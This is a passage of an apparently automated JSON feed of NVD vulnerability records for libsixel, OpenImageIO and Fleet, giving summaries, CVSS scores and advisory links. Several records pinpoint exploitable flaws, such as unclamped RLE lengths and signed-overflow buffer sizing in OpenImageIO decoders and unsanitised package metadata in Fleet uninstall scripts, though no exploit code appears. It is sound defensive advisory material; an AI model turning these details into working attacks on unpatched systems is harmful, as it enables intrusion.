fixes.","publishedAt":"2026-05-14T20:17:08.703Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"saitoha","product":"libsixel","stacks":["Saitoha","libsixel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44636","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44636","type":"primary","publishedAt":"2026-05-14T20:17:08.703Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/saitoha/libsixel/security/advisories/GHSA-hx93-w8p2-ffh5","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43909","cveId":"CVE-2026-43909","aliases":[],"kind":"vulnerability","title":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.","summary":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in the loop index expression i * 4 inside SwapRGBABytes() causes the function to compute a large negative pointer offset when processing kABGR DPX images with large dimensions. The immediate crash is an out-of-bounds read (the memcpy at line 45 reads from &input[i * 4] first), but the subsequent write operations at lines 46–49 target the same wrapped offset — making this a combined OOB read+write primitive. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.","detail":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in the loop index expression i * 4 inside SwapRGBABytes() causes the function to compute a large negative pointer offset when processing kABGR DPX images with large dimensions. The immediate crash is an out-of-bounds read (the memcpy at line 45 reads from &input[i * 4] first), but the subsequent write operations at lines 46–49 target the same wrapped offset — making this a combined OOB read+write primitive. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:07.063Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"openimageio","product":"openimageio","stacks":["Openimageio","openimageio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43909","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43909","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43909","type":"primary","publishedAt":"2026-05-14T20:17:07.063Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-g267-j53j-5258","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43908","cveId":"CVE-2026-43908","aliases":[],"kind":"vulnerability","title":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.","summary":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in the pixel-loop index expression i * 3 inside ConvertCbYCrYToRGB() causes the function to compute a large negative pointer offset into the output buffer, producing an out-of-bounds write that crashes the process. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.","detail":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a signed 32-bit integer overflow in the pixel-loop index expression i * 3 inside ConvertCbYCrYToRGB() causes the function to compute a large negative pointer offset into the output buffer, producing an out-of-bounds write that crashes the process. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:06.920Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"openimageio","product":"openimageio","stacks":["Openimageio","openimageio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43908","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43908","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43908","type":"primary","publishedAt":"2026-05-14T20:17:06.920Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-2jr5-q49v-3858","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43906","cveId":"CVE-2026-43906","aliases":[],"kind":"vulnerability","title":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.","summary":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a heap-based buffer overflow in the HEIF decoder of OpenImageIO allows out-of-bounds writes via crafted images due to a subimage metadata mismatch, leading to memory corruption and potential code execution. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.","detail":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a heap-based buffer overflow in the HEIF decoder of OpenImageIO allows out-of-bounds writes via crafted images due to a subimage metadata mismatch, leading to memory corruption and potential code execution. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:06.607Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"openimageio","product":"openimageio","stacks":["Openimageio","openimageio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43906","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43906","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43906","type":"primary","publishedAt":"2026-05-14T20:17:06.607Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-gmrp-x952-3m66","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43905","cveId":"CVE-2026-43905","aliases":[],"kind":"vulnerability","title":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.","summary":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, jpeg2000input.cpp:395 computes buffer size as const int bufsize = w * h * ch * buffer_bpp using signed 32-bit arithmetic. When the product exceeds INT_MAX, the result wraps to 0 or a small value. m_buf.resize() allocates an undersized buffer, and subsequent pixel write loops cause heap overflow. Conditional on USE_OPENJPH build flag. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.","detail":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, jpeg2000input.cpp:395 computes buffer size as const int bufsize = w * h * ch * buffer_bpp using signed 32-bit arithmetic. When the product exceeds INT_MAX, the result wraps to 0 or a small value. m_buf.resize() allocates an undersized buffer, and subsequent pixel write loops cause heap overflow. Conditional on USE_OPENJPH build flag. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:06.447Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"openimageio","product":"openimageio","stacks":["Openimageio","openimageio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43905","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43905","type":"primary","publishedAt":"2026-05-14T20:17:06.447Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-pj45-cf3g-28gq","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43904","cveId":"CVE-2026-43904","aliases":[],"kind":"vulnerability","title":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.","summary":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, softimageinput.cpp:469 (mixed RLE) and :345 (pure RLE) do not clamp the run length to remaining scanline width before writing pixels. The raw packet path (line 403) correctly clamps with std::min, but RLE paths skip this check. A crafted .pic file causes heap overflow up to 65535 bytes. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.","detail":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, softimageinput.cpp:469 (mixed RLE) and :345 (pure RLE) do not clamp the run length to remaining scanline width before writing pixels. The raw packet path (line 403) correctly clamps with std::min, but RLE paths skip this check. A crafted .pic file causes heap overflow up to 65535 bytes. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:06.240Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"openimageio","product":"openimageio","stacks":["Openimageio","openimageio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43904","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43904","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43904","type":"primary","publishedAt":"2026-05-14T20:17:06.240Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-4499-j545-7q33","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43903","cveId":"CVE-2026-43903","aliases":[],"kind":"vulnerability","title":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation.","summary":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, sgiinput.cpp:265,274 use OIIO_DASSERT for bounds checking in the RLE decode loop. In release builds, OIIO_DASSERT compiles to ((void)sizeof(x)) (dassert.h:210), making all bounds checks no-ops. A crafted .sgi file with RLE count exceeding scanline width causes heap buffer overflow and crash. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.","detail":"OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, sgiinput.cpp:265,274 use OIIO_DASSERT for bounds checking in the RLE decode loop. In release builds, OIIO_DASSERT compiles to ((void)sizeof(x)) (dassert.h:210), making all bounds checks no-ops. A crafted .sgi file with RLE count exceeding scanline width causes heap buffer overflow and crash. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:06.077Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"openimageio","product":"openimageio","stacks":["Openimageio","openimageio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43903","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43903","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43903","type":"primary","publishedAt":"2026-05-14T20:17:06.077Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-jg3q-vm3q-2j35","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26191","cveId":"CVE-2026-26191","aliases":[],"kind":"vulnerability","title":"Fleet is open source device management software.","summary":"Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet's software installer pipeline could allow a crafted software package to execute arbitrary commands as root (macOS/Linux) or SYSTEM (Windows) on managed endpoints when an uninstall is triggered. When a software package (.pkg, .deb, .rpm, .exe, or .msi) is uploaded to Fleet, metadata is extracted from the package binary and used to generate uninstall scripts. In affected versions, this metadata is not properly sanitized before being included in the generated scripts. A specially crafted package containing malicious values in its metadata fields could result in unintended command execution when the uninstall script runs on managed endpoints. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, administrators should avoid uploading software packages obtained from untrusted or unverified sources. Additionally, administrators can manually inspect and edit auto-generated uninstall scripts before deployment.","detail":"Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet's software installer pipeline could allow a crafted software package to execute arbitrary commands as root (macOS/Linux) or SYSTEM (Windows) on managed endpoints when an uninstall is triggered. When a software package (.pkg, .deb, .rpm, .exe, or .msi) is uploaded to Fleet, metadata is extracted from the package binary and used to generate uninstall scripts. In affected versions, this metadata is not properly sanitized before being included in the generated scripts. A specially crafted package containing malicious values in its metadata fields could result in unintended command execution when the uninstall script runs on managed endpoints. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, administrators should avoid uploading software packages obtained from untrusted or unverified sources. Additionally, administrators can manually inspect and edit auto-generated uninstall scripts before deployment.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:02.173Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"fleetdm","product":"fleet","stacks":["Fleetdm","fleet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26191","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-26191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26191","type":"primary","publishedAt":"2026-05-14T20:17:02.173Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/fleetdm/fleet/security/advisories/GHSA-9vcr-g537-3w5v","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26062","cveId":"CVE-2026-26062","aliases":[],"kind":"vulnerability","title":"Fleet is open source device management software.","summary":"Fleet is open source device management software. Prior to version 4.81.0, Fleet contained a denial-of-service (DoS) issue in the gRPC Launcher `PublishLogs` endpoint. In affected versions, certain unexpected input values were not handled gracefully, which could cause the Fleet server process to terminate while processing an authenticated request from an enrolled Launcher host. An authenticated attacker with access to any enrolled Launcher node key could cause an immediate and complete denial of service by sending a single gRPC request to the `PublishLogs` endpoint. This vulnerability impacts availability only. There is no exposure of sensitive data, no authentication bypass, no privilege escalation, and no integrity impact. Version 4.81.0 contains a patch. If upgrading immediately is not possible, the following mitigations can reduce exposure.  Restrict network access to the Fleet gRPC endpoint where feasible (for example, limiting inbound access to known host IP ranges); deploy Fleet behind infrastructure that terminates or filters gRPC traffic if Launcher log ingestion is not required; and/or monitor for repeated Fleet process crashes or unexpected restarts indicating potential exploitation.","detail":"Fleet is open source device management software. Prior to version 4.81.0, Fleet contained a denial-of-service (DoS) issue in the gRPC Launcher `PublishLogs` endpoint. In affected versions, certain unexpected input values were not handled gracefully, which could cause the Fleet server process to terminate while processing an 